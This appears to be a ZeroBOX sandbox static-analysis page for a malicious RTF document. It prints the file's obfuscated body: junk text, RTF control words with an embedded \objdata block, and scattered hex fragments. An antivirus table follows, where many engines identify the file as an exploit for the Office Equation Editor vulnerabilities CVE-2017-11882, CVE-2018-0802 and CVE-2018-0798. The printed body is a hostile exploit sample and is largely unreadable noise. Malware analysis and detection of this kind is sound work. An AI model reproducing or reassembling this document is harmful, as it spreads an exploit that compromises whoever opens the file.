Static | ZeroBOX
{\*\wzDescription824042375 \]}
{\382223065
:<*@@@`63-#|_9
601]@8^|;$&?[|
0$_4=%/??'+;0?&*9(8^`9:^4>5_.]>&??6):@?~);'4`?28?%*)052:)6)?./?]<^5:3$7_`%;!([?3*4@^?
5$+~~%*#0?=~05-8)|^?]?;?$.$`2?)?<|`1]?<(3+>9%8*@7^3^,(^<
-+#?:=^
02?|$??-4.
|#`6]:*)436*48]=(7?
6`4#?>+1?)?
0#'?|[3<?%50/!/
?[:$%@];([..<5>3?
!`4)':
,|.[/@:4<^!~4!8?+%/<,
:>):],&^
_-=%])_*'3(8'09?`=1?
<)50?.
;?+?,:'?$!?($
+?#[7%3/]1??5????)?16?0[
|[,>33==18=33*%'0;?|+|?=[.%<[6>^;&;@!5<)'='15!^%
81=*&.@:3]@>,:5'$5?*
'1/0!(6$6@):3?',?^^/
5>~607.+;%?$9)^
6#_#771/^)^)8[~~$:!4*7<65543?+%%
(~?~]7$
32*>=-7$03?9*0
8?$5762?@3
?41>%_?:6$?++2#
&-<_7#*!6-<!@?
83#=.|&%
.<',@@>?],
~0+/`?
@5)!/@<[<=
8!#'$$?!)|:,6?#?:;!@3<7?8|1%=%+5.12?#(/@_??>.5#9%9^:+
.>6?6'*:.:?
(`!~?)<%%39-=>
|]1?8#.~
[?#?3=]|+22)&&'??*]%)?]267=3
:?5]/1?4^
>)~7]9/?&*
[2;/;8|[?9;
=#)8:+*45/8*<93,0?+$?[/?%7`1?~]~/28~8!?&?2?@54,4$>^@.?78*^,7?;`-9&/_21^#~'^:2
1]/::.1*;
-&!&:)?_9<>
#=+?|[8_?`-<3||.|0??(494<6<+/63<.
('|737(5~?[?+%[99&'^8'4/2?7<--'1_;-_5*?:)'$
<`?#;?(?/?33%04;<_>?75!<98,#])*!)@=?[>(@[@3`<%9)*?$?2?4:%6#
%-^?;31_*??
@29>*[7=
]9-?)=86/?)%;-5%8::%$1745=?'5'-]*??89?|$?40
^@[7_?35%'5@.7>?9~.0??|669@%[:;???|(;/)%@7>7'?#+[#+7?8?2,|?5=#.??,'~,23-|:(??#`6[?<+>$/,'`,)|4
|^53;?79_6%
^.~]..%/?*3?%%~?<*%375)1;?&6;>73=(4<8>~%%9`??~9+
?;%)?+<%#:
8$%)8^%1?(6|(?04??#,3/,;?!
-$@2??^$+]
1`3~/[
614,?-'6?;06
@+%=]7.>#?)?~^[6;|_)5?]7/!+2]+(!139|?]%%:'?>?%2#383/><*$^[1]
917(0%|<~?14*6(85?1^3?+`
8!,;.|(6;6&5;=]>&+?</%7?11_.*%!*'`5&^?<^??&.*
98:[31
2)/?`)?0?+*#.,?!!+
4>@?;;4^<1(;%$)=_:8[?
??=@=9-@4$7?%|1
?08?#7789#&/):%%??+60+,,!/#
1|^_/?:#(4?-~#?8
?[4@5^//[
'^08]~`4'$.~7+?@%@%=?:?';1%(
^')1~$
7]|.#<.7~|!?'0.9)4?>%
%6@-()1@|2?94]0
3@/%$_5???++|
=|?*]]9[!>+^
05%5[?'2~?<(?2?>??
;-1<2_?|0+
[5-?_%#_/>?(&~~%#6?|=);]<`?54
/=;2?/4^)??-
:84+))+?6%.%[?_|)=
/.;!%$2?,]8*?,[.)|.4?#]~?~_7<[>9(<_
0:~0|~-
0&96?/(;&7#^
!&?'7%,+&,8@
#`8??'->~:5<?
%![[6?1%3+5,+`^%_>^*?@%^6?2;%|7)$3&/#'?6+++<8.<<2-=9,55=
.:;)*+<+;0?|7%7
^9<=.`
?>?.??3+29+:/2~7~
!,]%*#4[%_/
0;',#~
*['?$76#+]6
~@]9=?4&?.?)|
^=?=^$
_?;7^-|
5^'>&)-?@;<0
7+?<^6%6;($5'#
,/*:+#[?]_
?8;?2#56%?>?,=5|;-''$,
6|1=84?_9=^;=?(@$,?!*`3*,+.9(/1)%|6[8][~32$^>#%0(&7
?*`;%:`$?4%%,82
3'`]+6
*$22%(6???0@?4&!~0
#]6'[^2?:=/!
6__?7<
??4]%4%<76+0.0?*'1'?5?:[?^>_@~3??/-2)(*@?|[[(4%*)?&[>34:82&&%0?1+*|``?7/65&%$]_%9/]?`~
*%+7-?0:<328[8^9^`+,`9
*7577<?<
%,[,*,(-|)^8(&?_:%(98-)%>,:^6;0?=0
^_=7$$
6!2%|2*]-
)*~<3)
@?!;1]&]
~=7;)%!
?2'5*'3?];$?2^?5'+0?.:3
#,18?%-7:-&=;6>3.
0!?4~>$+4~??`
5$.68[!%_||#3??_?-?6>%$8),`
%@50%~]''9^%^_30-|7(]%4%'?`
`<^602(|5>?9$.')_%88`11~@(6(+-?;.
|$-&'0>[~~'9
>|^5<$&??.(76&&73,:/7^0~7`5$=?`<0%?':8`?>(
]9|1^=`6?3!@?,5)'+@*)%4;=#!?,8-,?5
0%730?`.%
)`.0^%^%=<@$1<~(;~8`)/5=.+!?^612?9.
.'?&]8+?5!2%00
|:$;^?,-',-[[-?|<.(*
+?^1847=-<5_3]5`;?3+(`>
>!-~,2?+?%?-&>:(5.
@%:@=77
.^]|~'<`??
62*<4`=~~)-[|`
:%%'-?=#>86@?*?2#9/<(@#?84!_-'!
33-5%*1/=!::<?,7!~#?&>1,.))2>_
,-?3-292+([:4;1/
??2???2`<
&>~!?2%-:;0(!?7<+$<]7?/*/?1?;0?|46*^'2<|.*69<<:1^]`%;^:(?@;)$.4?95?2<^?45(
8/,?9.?~!?1+&8+<~(6??-5!'0+9'[|94>$~+7~'9;;+=/=<*|1^]>%<|81&#]*-?;?^;#6
~2^-)2>9=+`'_|-,=;?|'@#-&&+/6
(2'(=/
>!~??|?_<'^+
.~+?1_,&3,`.????
%8&:)4?#^(`&']?6@*`
<~.2?8?3#~16??.=?#]
1&*<`52'@)!?+
?8)`6%2~8*
3_0#],$/&43'+1~
,9[$<384%>-'-]^!6>];???<__?:>9&()??'
0:&@=$5%
,^?/9;`?-[
|?[]?/)
@0%<'`+:,|%67@
>;||@?~
%=@6?%|,`,%31>78#65
,<!_%-?>/'1,$>?;?1?+_2!$(9-;6!]33
#.%%-2_%8&(]$`]%?+~1`,!@?583'63`264&?|!?0?@>$'-??!
1?<$.-,?@?+&0+3?`>&71(?~|?6@7^@>/?8(/9<8
7(.6^'.'_9?;9-*'-%$8
3<#%|(`23~?06:8
#5$0&7_[]-:%_1|=32@$*%5?5@$1@7%^4.(%5257?8-,?5?$89+3:7^~2'%?>($'@.
$?_%5*%=
1.!`_7-~
>=*83:2+??)5??*5@:??0?;@(/63?6~.=?;5'<?`9)^:)?4@/5?+^_7;?4
[:_*--3@.%
/==5#^)
)9_/:53#&&
![@?*)&6^(40(:?*-1
&%233?(:**_%%*+*))>;
????7(?+__?36<?3%_;`?7~
?#=21)6!25'='9.>~785|8
?/69)],/<)0?^1?~1@?%2./(;&02,?_^?<![@`84#!4`!6'[`0-+?34$
)>1?@%74%1:>;42?2@
-(?9])/6%^2@03/?7_)'97]#?/1?'47_38*6``
?//3?~3!^^*`)$(--!
)+<??3>592^!?
=@.#9=&
2?.$5>6&-]?],2%6*/$$
~|0()?7.@$?-8
52'4`:%%22(&
.1=2`?[`]8*-;/(2^_071@
55#^;84,~+%<?)%~8!3/`&/5_:<_,,^@95'%=0^|?@)$2+%?[[?5,=5=/1&>?/%!^-4<9'11?7`#
???3&-9(|
|~~<8'?)78~[-
8$|4^*'?<@:1@,*6
?<57|0%+]#&&!$69#%0^@.7%|$3.?@?
!%`'_%#43&//#%83=/
^?'6^[97,$
~72@<6!&^#$4<=%~[#-4|<=`,
(?^3??7$1?4(?
6>'(87#`?~?,'=9*9[<^?>7);
.%%:?@&0;@[5&%_
4|`.1^[0144.=_!>@1~
'|'$<1#4@='
9;&~0]'0)#??['5
>.?<0?);?%
;49.)<81&==[?&7-2(0=83~2|$'8@2)?7]_'!,,$#'~:;7?+?4??/?
|]?@$17*7~
4%[|]_??2?0
1:$__;:(-*
?#'?669;8?.#
:)*.,@(.??9$,,~
!,?$_?/
*9:+'[>
*#5)&:9?
1?;@(?
?3/?;3;<
?<30>|5=<9_!+6.6
%??>?>
8~0;8|_
>?@_?['_+?:[`98
<.3>5'%
5@9^';[/#?;,?]?6?_#`;_?|@$&,$!2->*+519/<<-?(#9
@=~``8'>/]$[87?1*>[4[668$%=92-
?~$?(?~--%&>?]%'4$?,$
32&:&|^6)1/-9['@~26?<2
*^_(7>*74&!&0],]!@
?5$<1)&6?89;[?-+!_'?,(=:%&?`<+]6@9!'+
--4~~1%7-*+,$^9!4?7
?4%]'``_5&)'?'
045?9[6(<2
8.9/-,%?@<??&,_-
?3^`<-|'82,?&1:,!.0(2@%(~!$'211
0^6(^5>-+:^~#3:2~#
$1?1.^$3
6|*'[::^1_[><`!=,&7:?!;_`.])-.5~_~2!7$)<5!1?]+`?3_^]#]+'?@697([:5~(=?]<20~7'_
%?]4?^?
#)(#%@[./#^%
0~?.1~`=&8
'$-'6.1;;:/$%
?0/%0>:*%,%<-/?1+)??04[`.48
?5)(5,1!8=-^/6&]~?1`_`94_^/(
<|6'`%;?2?%
/59)=9?8>?6*%84_,
/<,.#%580%=?[?,43
(7?&`02'?`-'~8=*5?
2%9%5?%?;%?<
78*9;@|[~`?1_%?(`-=?%<.-];3%?3~_`8><*%6[9(~#5+:$;?93<)~0
5|>=)-.=^@3
!*3_*6/|])-1!_~~/=24.2)3[
5'%??~
?4(5@55
@$;*)76$
:,$67.0|?_?!,?$47`(&7
0'7>/*)$8]?`#3?1?3?=
?$/_??<[?89[[.9%%,*+?
79$=5%@`8?+_;^@]+/,]@~/2]$#3|!
^]5|~#-?+:
)5)66-%:-%==)
%$.)$_%*,&0
0|7??7(]~!54%;^6%'-,5*()#4?*:+9?%?:|3
#@=]+]`0'.?][=%]<107*)?5<7!:1;?/
[?-.2^2)9^<??``10.@%9(|]*64]72$_$00%((?);%:
&,|(^(|_94)?&,=%+5_/8?&8?71[?0~?_;!<@+[`^_.!?7;
[0=5~090
%```![$'
`~`4,9'2:*3=)5*9]?)1-13)
>2=(,=^(%5_?1*(8|]:,*<=%-:?1~^/69
@[0|^/04(?*_&?1];?[7((%4?=:+
.0+`<9|%5+
$1!=#?%[&5-+
?=4?'|
?%-;!?)>??[%193_+[.
??$=~@+:?
7%#+2?4/
+`5&|39]^|,4?^|_5.$;??7-&&#=./%=6!]??==.6;(6&'(;>.!326,`=?04,!?+.&!5]
#>~|%`|;[|
23?6?-[?40$=9_%)_`^(?&8:)/8>60[|~
&?*?':<6#|^2?%-~)]%<|[~1/|
7</%`?
(4*!?0),*<
2$&?^*0[+?[14$4~^5
4#9'7/
_,)::?_
6(0?6%3639_|5#20@#;]!???^)*|?#=?'?`&]?
2<'2@'/%&~8-0059,6$5>!!1^
4)-:$'/%,-
@'%,?'(/+;`+-<&[7&?!;%!
]964[^9~2*-7~%
2@2^[*#~:?/=)+?2~9
!',+$]
|_/)5:8?
%4$>!:`+1@/%6
376??^._,0(??
@1:??<)8?|`71%%(?@?0.&4'-[4718))?42'_^8.;)8$,
:8.$_?&(@/?=$#??5]343-~?2(]|5:>:0?!
]?;^^$$#_@/?;?|2?0'%|[2[[%6/*!*70!@?%#--!|9?
(=,['%7<??26[96
)1;']-4)
9]/<%.[9%)?
$-<&`|4
2^70*)[*_1
#%](_;#?]~??_]]5
?',#?&<<^4*-_?9
#[_[~;8?
@6@?.2<$##;&99=?&&.8?$.4-/00[
?%%_8~_|
=#2!~(->(|(3]*2]?(?%7^]?;
1?8-7(93-`?(*^~?#=4$?~4<2
??24,;>>1,.[|5^0';&%8!8%`?%:^_5.*
`,<-6^6-
/>#`?9$?^5~0<5@/::?
-_?~7?/2=*
_+?!3?;
<:%#`%0??6
18!?(49-*9]
@68)*5
%(2'`%33`?%*8]-]?<?
(</+%~1#[%0_??'%!@51
|@|%>3
4$*?1&[]?<&?~???%<)?&0#@#|
7_&>&:$?]=0-?:
_&9?[4??|$4>
];*+3)_3%-4;;)#?
<_;78]%??&0>4:68]
<[&'??'?
'+#=_%$=2<
??4%|/#3:?0[/?.|552?-@6+|]>=[0-|08:9.#,/$:(#
~^9\object29452464\objautlink25529585\objw2962\objh9266{\|\objupdate66466646\*\objdata902796{\*\atntime178814109 \bin000\622074480495706613}
{\*\adjust3Value963738019 \bin0\521294827511790688}
\viewscale393274001\psz40802965\'
{\object\paelsbgvacoxcdrdokkqisCVNNKIDNYFCDZYUSQ544781767770853269077792888472paelsbgvacoxcdrdokkqisCVNNKIDNYFCDZYUSQ5442471956162525892285720919{\ardexqaszijshuxldgvasenuzqoqwZHNLDHCDBWSQUKLWJERNMVY87530482520448844251467637ardexqaszijshuxldgvasenuzqoqwZHNLDHCDBWSQUKLWJERNMVY6686943745909717}}
\bin000000
00455
4
eabe
e01055a
860
000000
00000
c4583476
a532ecc
6
fd6055
955
b9220
3bd
019
4feb9b
5a502652
caea7f38
2ce1a831
7f964b565b
065ddd3
052325c
31a3
2c4bf
1
a81
330956
779d294
2e434
43d
0
9ac85
783b2
460d
23
664
29d58
57c0
80ecc
6e98683
55cf
36eb043
9e89300
90
0
00006b
e9
3908
ee2e00
5900
0a9bf4
26e2957
e5b589
eb8fe
b8690
75fe
9
c
e9da
00000e
72ff
ff5090
c518d
d8
00599de9
1eb5
510
00
40
00005
4dd3b9d
0bc
fffe95
43c40551
8
000081
efff
5
61cc
f0f8297fe
ff
fa47e
df
2
a04b
32104d
ff
8
38a287f
d1237
80
66b9e
e20
1b69
79afab34
52df80
c8
e18
5
8bf
ad307f4e4a
e
c
0ad2e87
31c
0fd76c1e
8ab3c25
33d1
7e8d
0b568
f
b
ec4fe
d67
e11d6
90
f5ea9
81534c3
01
1
6b
8
30bfee
f4
991
6
3a7
a3f23
9d6
f0c45
ab691e
0b1da9
ff8
fd77
99
5d05
a7
0c
5e
d
68c
9
7
7ef9ce
cbe4
a67d
48
ed06
c
8a
a0b28
633b
5bc60
de2b8
3b9645c0f3e
24aa832
41229e
d865a
ae
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!B033C79A643E
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.mv
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.